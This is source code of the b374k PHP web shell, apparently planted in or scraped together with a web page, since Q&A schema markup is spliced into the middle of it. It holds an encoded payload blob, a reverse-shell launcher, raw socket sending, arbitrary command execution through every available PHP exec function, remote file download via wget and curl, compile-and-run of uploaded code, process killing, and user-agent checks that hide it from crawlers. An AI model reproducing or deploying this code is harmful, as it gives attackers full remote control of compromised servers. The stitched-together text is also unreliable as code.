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";
$GLOBALS['module']['network']['id'] = "network";
$GLOBALS['module']['network']['title'] = "Network";
$GLOBALS['module']['network']['js_ontabselected'] = "";
$GLOBALS['module']['network']['content'] = "
";
if(isset($p['rsLang']) && isset($p['rsArgs'])){
$rsLang = $p['rsLang'];
$rsArgs = $p['rsArgs'];
$res = "";
if($rsLang=="php"){
$code = get_resource("rs_".$rsLang);
if($code!==false){
$code = "\$target = \"".$rsArgs."\"; ?>".$code;
$res = eval_go($rsLang, $code, "", "");
}
}
else{
$code = get_resource("rs_".$rsLang);
if($code!==false){
$res = eval_go($rsLang, $code, "", $rsArgs);
}
}
if($res===false) $res == "error";
output(html_safe($res));
}
elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){
$packetHost = trim($p['packetHost']);
if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost;
$packetPort = (int) $p['packetPort'];
$packetTimeout = (int) $p['packetTimeout'];
$packetSTimeout = (int) $p['packetSTimeout'];
$packetContent = $p['packetContent'];
if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("\r","\n"), "", $packetContent);
$packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
}
$res = "";
$sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
if(!$sock){
$res .= "";
$res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")
";
}
else{
stream_set_timeout($sock, $packetSTimeout);
fwrite($sock, $packetContent."\r\n\r\n\x00");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="") $counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
$res .= "";
}
output($res);
}
$GLOBALS['module']['processes']['id'] = "processes";
$GLOBALS['module']['processes']['title'] = "Processes";
$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
$GLOBALS['module']['processes']['content'] = "";
if(!function_exists('show_processes')){
function show_processes(){
$output = '';
$wcount = 11;
if(is_win()){
$cmd = "tasklist /V /FO csv";
$wexplode = "\",\"";
}
else{
$cmd = "ps aux";
$wexplode = " ";
}
$res = execute($cmd);
if(trim($res)=='') return false;
else{
$output .= "";
if(!is_win()) $res = preg_replace('#\ +#',' ',$res);
$psarr = explode("\n",$res);
$fi = true;
$tblcount = 0;
$check = explode($wexplode,$psarr[0]);
$wcount = count($check);
foreach($psarr as $psa){
if(trim($psa)!=''){
if($fi){
$fi = false;
$psln = explode($wexplode, $psa, $wcount);
$output .= "
action ";
foreach($psln as $p) $output .= "".trim(trim(strtolower($p)) ,"\"")." ";
$output .= " ";
}
else{
$psln = explode($wexplode, $psa, $wcount);
$pid = trim(trim($psln[1]),"\"");
$tblcount = 0;
$output .= "";
foreach($psln as $p){
if(trim($p)=="") $p = " ";
$p = trim(trim($p) ,"\"");
$p = html_safe($p);
if($tblcount == 0){
$output .= "
kill ".$p." ";
$tblcount++;
}
else{
$tblcount++;
if($tblcount == count($psln)) $output .= "".$p." ";
else $output .= "".$p." ";
}
}
$output .= " ";
}
}
}
$colspan = count($psln)+1;
$colspanAll = $colspan+1;
$output .= "
kill selected refresh
";
}
return $output;
}
}
if(isset($p['showProcesses'])){
$processes = show_processes();
if($processes!==false) output($processes);
output('error');
}
elseif(isset($p['allPid'])){
$allPid = explode(" ", $p['allPid']);
$counter = 0;
foreach($allPid as $pid){
$pid = trim($pid);
if(!empty($pid)){
if(function_exists("posix_kill")){
if(posix_kill($pid,'9')) $counter++;
}
else{
if(is_win()){
$cmd = execute("taskkill /F /PID ".$pid);
$cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
if(strpos($cmd,"No tasks are running")!==false) $counter++;
}
else{
$cmd = execute("kill -9 ".$pid);
if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){
$cmd = trim(execute("ps -p ".$pid));
$check = explode("\n", $cmd);
if(count($check)==1) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
else output('error');
}
$error = @ob_get_contents();
$error_html = (!empty($error))?"".html_safe($error)."
":"";
@ob_end_clean();
?>
'>
",
"answerCount": 3,
"upvoteCount": 11250,
"datePublished": "2023-12-04T15:34-05:00",
"author": {
"@type": "Person",
"name": "Madhu Sara",
"url": "https://www.saranextgen.com/india/"
},
"acceptedAnswer": {
"@type": "Answer",
"text": "
location.href='".get_self()."';
";
echo $res;
}
}
if(!isset($c['pass']) || (isset($c['pass'])&&($c['pass']!=$GLOBALS['pass']))){
$res = "
You need to enable javascript
";
echo $res;
die();
}
}
}
}
if(!function_exists('get_server_info')){
function get_server_info(){
$server_info['uname'] = php_uname();
$server_info['software'] = getenv("SERVER_SOFTWARE")." | PHP ".phpversion();
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
$server_info['ip_adrress'] = "Server IP : ".$server_addr." | Your IP : ".$_SERVER['REMOTE_ADDR'];
$server_info['time_at_server'] = "Time @ Server : ".@date("d M Y H:i:s",time());
return $server_info;
}
}
if(!function_exists('get_self')){
function get_self(){
$query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
return html_safe($_SERVER["REQUEST_URI"].$query);
}
}
if(!function_exists('get_post')){
function get_post(){
return fix_magic_quote($_POST);
}
}
if(!function_exists('get_nav')){
function get_nav($path){
return parse_dir($path);
}
}
if(!function_exists('get_cwd')){
function get_cwd(){
$cwd = getcwd().DIRECTORY_SEPARATOR;
if(!isset($_COOKIE['cwd'])){
setcookie("cwd", $cwd);
}
else{
$cwd_c = rawurldecode($_COOKIE['cwd']);
if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
else setcookie("cwd", $cwd);
}
return $cwd;
}
}
if(!function_exists('wrap_with_quotes')){
function wrap_with_quotes($str){
return "\"".$str."\"";
}
}
if(!function_exists('get_resource')){
function get_resource($type){
if(isset($GLOBALS['resources'][$type])){
return gzinflate(base64_decode($GLOBALS['resources'][$type]));
}
return false;
}
}
if(!function_exists('block_bot')){
function block_bot(){
// block search engine bot
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
}
}
if(!function_exists('is_win')){
function is_win(){
return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
}
}
if(!function_exists('fix_magic_quote')){
function fix_magic_quote($arr){
$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
if(is_array($arr)){
foreach($arr as $k=>$v){
if(is_array($v)) $arr[$k] = clean($v);
else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
}
}
}
return $arr;
}
}
if(!function_exists('execute')){
function execute($code){
$output = "";
$code = $code." 2>&1";
if(is_callable('system')){
ob_start();
@system($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('shell_exec')){
$output = @shell_exec($code);
if(!empty($output)) return $output;
}
elseif(is_callable('exec')){
@exec($code,$res);
if(!empty($res)) foreach($res as $line) $output .= $line;
if(!empty($output)) return $output;
}
elseif(is_callable('passthru')){
ob_start();
@passthru($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('proc_open')){
$desc = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"));
$proc = @proc_open($code, $desc, $pipes, getcwd(), array());
if(is_resource($proc)){
while($res = fgets($pipes[1])){
if(!empty($res)) $output .= $res;
}
while($res = fgets($pipes[2])){
if(!empty($res)) $output .= $res;
}
}
@proc_close($proc);
if(!empty($output)) return $output;
}
elseif(is_callable('popen')){
$res = @popen($code, 'r');
if($res){
while(!feof($res)){
$output .= fread($res, 2096);
}
pclose($res);
}
if(!empty($output)) return $output;
}
return "";
}
}
if(!function_exists('html_safe')){
function html_safe($str){
return htmlspecialchars($str, 2 | 1);
}
}
if(!function_exists('parse_dir')){
function parse_dir($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$paths = explode(DIRECTORY_SEPARATOR, $path);
$res = "";
for($i = 0; $i < sizeof($paths)-1; $i++){
$x = "";
for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
$res .= "".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." ";
}
if(is_win()) $res = get_drives().$res;
return trim($res);
}
}
if(!function_exists('zip')){
function zip($files, $archive){
$status = false;
if(!extension_loaded('zip')) return $status;
if(class_exists("ZipArchive")){
$zip = new ZipArchive();
if(!$zip->open($archive, 1)) return $status;
if(!is_array($files)) $files = array($files);
foreach($files as $file){
$file = str_replace(get_cwd(), '', $file);
$file = str_replace('\\', '/', $file);
if(is_dir($file)){
$filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
foreach($filesIterator as $iterator){
$iterator = str_replace('\\', '/', $iterator);
if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;
if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
}
}
elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
}
if($zip->getStatusString()!==false) $status = true;
$zip->close();
}
return $status;
}
}
if(!function_exists('compress')){
function compress($type, $archive, $files){
if(!is_array($files)) $files = array($files);
if($type=='zip'){
if(zip($files, $archive)) return true;
else return false;
}
elseif(($type=='tar')||($type=='targz')){
$archive = basename($archive);
$listsBasename = array_map("basename", $files);
$lists = array_map("wrap_with_quotes", $listsBasename);
if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));
if(is_file($archive)) return true;
else return false;
}
return false;
}
}
if(!function_exists('decompress')){
function decompress($type, $archive, $path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$status = false;
if(is_dir($path)){
chdir($path);
if($type=='unzip'){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$target = $path.basename($archive,".zip");
if($zip->open($archive)){
if(!is_dir($target)) mkdir($target);
if($zip->extractTo($target)) $status = true;
$zip->close();
}
}
}
elseif($type=='untar'){
$target = basename($archive,".tar");
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
elseif($type=='untargz'){
$target = "";
if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
}
return $status;
}
}
if(!function_exists('download')){
function download($url ,$saveas){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$filename = basename($url);
if($content = read_file($url)){
if(is_file($saveas)) unlink($saveas);
if(write_file($saveas, $content)){
return true;
}
}
$buff = execute("wget ".$url." -O ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("curl ".$url." -o ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("lwp-download ".$url." ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("lynx -source ".$url." > ".$saveas);
if(is_file($saveas)) return true;
return false;
}
}
if(!function_exists('get_fileperms')){
function get_fileperms($file){
if($perms = @fileperms($file)){
$flag = 'u';
if(($perms & 0xC000) == 0xC000)$flag = 's';
elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
elseif(($perms & 0x8000) == 0x8000)$flag = '-';
elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
$flag .= ($perms & 00400)? 'r':'-';
$flag .= ($perms & 00200)? 'w':'-';
$flag .= ($perms & 00100)? 'x':'-';
$flag .= ($perms & 00040)? 'r':'-';
$flag .= ($perms & 00020)? 'w':'-';
$flag .= ($perms & 00010)? 'x':'-';
$flag .= ($perms & 00004)? 'r':'-';
$flag .= ($perms & 00002)? 'w':'-';
$flag .= ($perms & 00001)? 'x':'-';
return $flag;
}
else return "???????????";
}
}
if(!function_exists('format_bit')){
function format_bit($size){
$base = log($size) / log(1024);
$suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
}
}
if(!function_exists('get_filesize')){
function get_filesize($file){
$size = @filesize($file);
if($size!==false){
if($size<=0) return 0;
return format_bit($size);
}
else return "???";
}
}
if(!function_exists('get_filemtime')){
function get_filemtime($file){
return @date("d-M-Y H:i:s", filemtime($file));
}
}
if(!function_exists('get_fileowner')){
function get_fileowner($file){
$owner = "?:?";
if(function_exists("posix_getpwuid")){
$name = posix_getpwuid(fileowner($file));
$group = posix_getgrgid(filegroup($file));
$owner = $name['name'].":".$group['name'];
}
return $owner;
}
}
if(!function_exists('rmdirs')){
function rmdirs($dir, $counter = 0){
if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
if($dh = opendir($dir)){
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
$f = $dir.$f;
if(@is_dir($f)) $counter += rmdirs($f);
else{
if(unlink($f)) $counter++;
}
}
}
closedir($dh);
if(rmdir($dir)) $counter++;;
}
return $counter;
}
}
if(!function_exists('copys')){
function copys($source , $target ,$c=0){
$source = realpath($source).DIRECTORY_SEPARATOR;
if($dh = opendir($source)){
if(!is_dir($target)) mkdir($target);
$target = realpath($target).DIRECTORY_SEPARATOR;
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
if(is_dir($source.$f)){
copys($source.$f, $target.$f, $c);
}
else{
if(copy($source.$f, $target.$f)) $c++;
}
}
}
closedir($dh);
}
return $c;
}
}
if(!function_exists('get_all_files')){
function get_all_files($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$files = glob($path.'*');
for($i = 0; $iOwner ".get_fileowner($file)." ";
}
$image_info = @getimagesize($file);
$mime_list = get_resource('mime');
$mime = "";
$file_ext_pos = strrpos($file, ".");
if($file_ext_pos!==false){
$file_ext = trim(substr($file, $file_ext_pos),".");
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
$mime = $res[1];
}
}
if($type=="auto"){
if(is_array($image_info)) $type = 'image';
//elseif(strtolower(substr($file,-3,3)) == "php") $type = "code";
elseif(!empty($mime)) $type = "multimedia";
else $type = "raw";
}
$content = "";
if($type=="code"){
$hl_arr = array(
"hl_default"=> ini_get('highlight.default'),
"hl_keyword"=> ini_get('highlight.keyword'),
"hl_string"=> ini_get('highlight.string'),
"hl_html"=> ini_get('highlight.html'),
"hl_comment"=> ini_get('highlight.comment')
);
$content = highlight_string(read_file($file),true);
foreach($hl_arr as $k=>$v){
$content = str_replace("", "", $content);
$content = str_replace("", "", $content);
}
}
elseif($type=="image"){
$width = (int) $image_info[0];
$height = (int) $image_info[1];
$image_info_h = "Image type = ( ".$image_info['mime']." )
Image Size = ( ".$width." x ".$height." ) ";
if($width > 800){
$width = 800;
$imglink = "
[ View Full Size ]
";
}
else $imglink = "";
$content = "".$image_info_h." ".$imglink."
";
}
elseif($type=="multimedia"){
$content = "
Load Multimedia File
";
}
elseif($type=="edit"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "";
}
elseif($type=="hex"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "";
}
else $content = "".html_safe(read_file($file))." ";
$output .= "
Filename ".html_safe($file)."
Size ".get_filesize($file)." (".filesize($file).")
".$owner."
Permission ".get_fileperms($file)."
Create time ".@date("d-M-Y H:i:s",filectime($file))."
Last modified ".@date("d-M-Y H:i:s",filemtime($file))."
Last accessed ".@date("d-M-Y H:i:s",fileatime($file))."
explorer
action
raw
code
hex
image
multimedia
".$content."
";
}
else $output = "error";
return $output;
}
}
if(!function_exists('get_writabledir')){
function get_writabledir(){
if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
else{
foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
if(!empty($_ENV[$k])){
if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
}
}
if(function_exists("sys_get_temp_dir")){
$dir = sys_get_temp_dir();
if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
}
else{
if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
}
$tempfile = tempnam(__FILE__,'');
if(file_exists($tempfile)){
$dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
unlink($tempfile);
return $dir;
}
}
return false;
}
}
if(!function_exists('get_drives')){
function get_drives(){
$drives = "";
$v = explode("\\", get_cwd());
$v = $v[0];
foreach (range("A", "Z") as $letter){
if(@is_readable($letter.":\\")){
$drives .= "[ ";
if($letter.":" != $v) $drives .= $letter;
else{$drives .= "".$letter." ";}
$drives .= " ] ";
}
}
return $drives;
}
}
if(!function_exists('show_all_files')){
function show_all_files($path){
if(!is_dir($path)) return "No such directory : ".$path;
chdir($path);
$output = "";
$allfiles = $allfolders = array();
if($res = opendir($path)){
while($file = readdir($res)){
if(($file!='.')&&($file!="..")){
if(is_dir($file)) $allfolders[] = $file;
elseif(is_file($file))$allfiles[] = $file;
}
}
}
array_unshift($allfolders, ".");
$cur = getcwd();
chdir("..");
if(getcwd()!=$cur) array_unshift($allfolders, "..");
chdir($cur);
natcasesort($allfolders);
natcasesort($allfiles);
$cols = array();
if(is_win()){
$cols = array(
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}
else{
$cols = array(
"owner"=>"get_fileowner",
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}
$totalFiles = count($allfiles);
$totalFolders = 0;
$output .= "";
$output .= "
name size ";
foreach($cols as $k=>$v){
$output .= "".$k." ";
}
$output .= " ";
foreach($allfolders as $d){
$cboxException = "";
if(($d==".")||($d=="..")){
$action = "actiondot";
$cboxException = " cBoxException";
}
else{
$action = "actionfolder";
$totalFolders++;
}
$output .= "
[ ".html_safe($d)." ] action
DIR ";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($d)."'";
$output .= "".$v($d)." ";
}
$output .= " ";
}
foreach($allfiles as $f){
$output .= "
".html_safe($f)." action
".get_filesize($f)." ";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($f)."'";
$output .= "".$v($f)." ";
}
$output .= " ";
}
$output .= " ";
$colspan = 1 + count($cols);
$output .= "
Action
cut
copy
paste
delete
------------
chmod
chown
touch
------------
extract (tar)
extract (tar.gz)
extract (zip)
------------
compress (tar)
compress (tar.gz)
compress (zip)
------------
".$totalFiles." file(s), ".$totalFolders." Folder(s)
";
$output .= "
";
return $output;
}
}
if(!function_exists('eval_get_supported')){
function eval_get_supported(){
$eval_supported = array();
$check = strtolower(execute("python -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "python";
$check = strtolower(execute("perl -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "perl";
$check = strtolower(execute("ruby -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";
$check = strtolower(execute("node -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "node";
else{
$check = strtolower(execute("nodejs -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
}
$check = strtolower(execute("gcc --help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";
$check = strtolower(execute("java -help"));
if(strpos($check,"usage")!==false){
$check = strtolower(execute("javac -help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "java";
}
return implode(",", $eval_supported);
}
}
if(!function_exists('eval_go')){
function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "";
$output = "";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="php"){
ob_start();
eval($evalCode);
$res = ob_get_contents();
ob_end_clean();
return $res;
}
elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($path, 0755)){
$res .= " (ok)\n";
$cmd = $evalType." ".$evalOptions.$path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="gcc"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$ext = (is_win())? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = $pathres.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
